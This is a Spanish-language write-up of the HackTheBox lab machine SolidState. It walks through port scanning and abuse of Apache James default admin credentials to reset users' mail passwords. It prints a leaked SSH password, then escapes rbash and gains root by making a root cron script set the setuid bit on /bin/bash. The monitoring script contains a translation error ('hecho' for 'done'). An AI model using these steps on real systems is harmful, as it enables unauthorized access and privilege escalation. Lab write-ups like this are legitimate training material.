> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Writeup de Solidstate en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**Habilidades:**

* Abusando de la Herramienta de Administración Remota de James
* Cambiando la contraseña de correo electrónico de un usuario
* Fuga de información
* Escapar de Restricted Bash (rbash)
* Creando un script de bash para detectar trabajos cron (procmon.sh)
* Abusando de un Trabajo Cron (Escalada de Privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/154cd02e9293a5984ee3c4827c307afc8daf017a" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/9ffe452c8837f4c4594c73a80511ccc4310822d3" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Explorando puertos abiertos y exportándolos al archivo "allPorts" en el directorio de Nmap.

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="/files/124f8aacf610e045d007c88930a806865c1878a5" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (22.25,80,110,119,45555)

<figure><img src="/files/4563353cf0f872173768eb6b8940a4db4bb6b1fe" alt=""><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="/files/053831856d304f04adf35ac31c125ed9b3365259" alt=""><figcaption></figcaption></figure>

### Puerto 80

#### No se encontró información interesante en el puerto 80.

<figure><img src="/files/5a13971523a1eaaa21c0004c915a84fab517eed9" alt=""><figcaption></figcaption></figure>

## Administración remota de JAMES

### Puerto 119 - NNTP

> El puerto 119 usa el Protocolo de Transferencia de Noticias de la Red. El servidor ejecuta una instancia de Apache James, un servidor de correo y noticias. Nos conectamos con `netcat`, pero no se encuentra información relevante.

```bash
nc 10.10.10.51 119
```

<figure><img src="/files/04396150ea1ec73b432eaac60a06e177ff75f50b" alt=""><figcaption></figcaption></figure>

### Puerto 4555 - Herramienta de administración remota

> En el contexto de la administración remota, se puede utilizar para acceder a paneles de control o interactuar con servicios remotos en la máquina objetivo. Es importante escanearlo para ver si está abierto y qué servicio aloja.

Intentamos conectarnos al panel de administración de James mediante Telnet:

```bash
telnet 10.10.10.51 4555
```

<figure><img src="/files/dd8a9bf1eeb5c4917d20901edc34b6a5f3395ba0" alt=""><figcaption></figcaption></figure>

Después de buscar las credenciales predeterminadas, encontramos:

* **ID** : root
* **Contraseña** : root

<figure><img src="/files/0f0b02eacf8c8848a8f00815a353c759c1e9ac7e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bf0817a5f892d83ab38c260f34d73e6de03ab4c4" alt=""><figcaption></figcaption></figure>

Nos conectamos con éxito y accedemos al panel de administración de James. Tenemos la opción de listar usuarios con el `listusers` comando, lo que nos permite descubrir 5 usuarios:

* `usuario: james`
* `usuario: thomas`
* `usuario: john`
* `usuario: mindy`
* `usuario: mailadmin`

<figure><img src="/files/58643baa4c2fc57b1671b3880bc88c46e9564b78" alt=""><figcaption></figcaption></figure>

Podemos cambiar las contraseñas de los usuarios con el `setpassword` comando para conectarlos al cliente de correo en el puerto 110. Hacemos esto para todos los usuarios:

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="/files/eeedcf3cba0e6a0c518a48dbd53bfbe83bd93275" alt=""><figcaption></figcaption></figure>

### Puerto 110 - POP3

> El puerto 110 es el puerto estándar usado para **POP3** (Protocolo de Oficina de Correos versión 3). Este protocolo es utilizado por los clientes de correo electrónico para recuperar correos de un servidor. Cuando un usuario se conecta a un servidor POP3 a través de este puerto, puede descargar sus mensajes.

Ahora nos conectamos al cliente POP3 mediante Telnet:

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

Para conectarnos, usamos los siguientes comandos:

```ada
USER <user>
PASS <password>
```

Listamos los mensajes con el `list` comando.

Observamos que no hay mensajes en los buzones de `james` y `thomas`.

<figure><img src="/files/a619fd2b7c4b9fd64f527878d7866f02146feb3f" alt=""><figcaption></figcaption></figure>

Sin embargo, el usuario `john` tiene un mensaje que recuperamos con el `retr 1` comando. El mensaje contiene el siguiente texto:

> John,
>
> ¿Puedes restringir el acceso de Mindy hasta que se le permita unirse al programa? Además, asegúrate de enviarle una contraseña temporal para que pueda conectarse a sus cuentas.
>
> Gracias de antemano.
>
> Atentamente,/ James

<figure><img src="/files/ca72289a236ee21c38f04313dc0d585d58aac659" alt=""><figcaption></figcaption></figure>

Esto sugiere que el usuario `mindy` tiene credenciales en su buzón. De hecho, encontramos la siguiente información:

* **Nombre de usuario** : mindy
* **Contraseña** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="/files/d228544d20c99963a1a7a98977d6581680c75dd8" alt=""><figcaption></figcaption></figure></div>

Usamos estas credenciales para conectarnos por SSH y obtener la flag `user.txt`.

### Bandera user.txt :)

<figure><img src="/files/62088314c70a678b19f4f0f03e117f12238487cc" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios :

### **Escapar de RBash a Bash**

El `mindy` el usuario actualmente usa una `rbash` shell que limita la ejecución de muchos comandos.

<figure><img src="/files/be0e265e39ea1ba76fc8b9335c05353ffd0b4223" alt=""><figcaption></figcaption></figure>

Para eludir esta restricción, usamos el siguiente comando al conectarnos por SSH para obtener una shell Bash:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/4832d6510a371a6ac85dfa09a464bcc5c0f174cd" alt=""><figcaption></figcaption></figure>

Luego usamos los siguientes comandos para manejar la terminal y obtener una shell completa:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Tareas cron - Script modificado (Python):

Creamos un script de Bash para analizar los procesos actuales y detectar tareas cron realizadas en la máquina objetivo:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
hecho
```

Al ejecutar este script, notamos que el **root** usuario está ejecutando un script de Python ubicado en el `/opt/tmp.py` directorio.

<figure><img src="/files/a974aff2e93f2272d5bd801bd8bf6f52b4115173" alt=""><figcaption></figcaption></figure>

Tenemos la posibilidad de modificar este script de Python.

<figure><img src="/files/c7395fc174a7a1a907e563334f3847500234399b" alt=""><figcaption></figcaption></figure>

Lo modificamos para añadir el comando para establecer un **setuid** en el `/bin/bash` binario, lo que nos permite ejecutar una shell Bash con los privilegios de **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

Después de editar el script, esperamos aproximadamente un minuto para que se ejecute la tarea cron.

Una vez ejecutada la tarea cron, podemos obtener una shell Bash con **root** privilegios ejecutando el siguiente comando:

```bash
/bin/bash -p
```

<figure><img src="/files/2fd5e5c6461c3b2d9f8183357bcd219e4f3d3322" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/b54e29d9ef833bbccf21e98c028ce04a484f5921" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e3a41d3dc562e07cace05fcc30b8fed424aa67a6" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
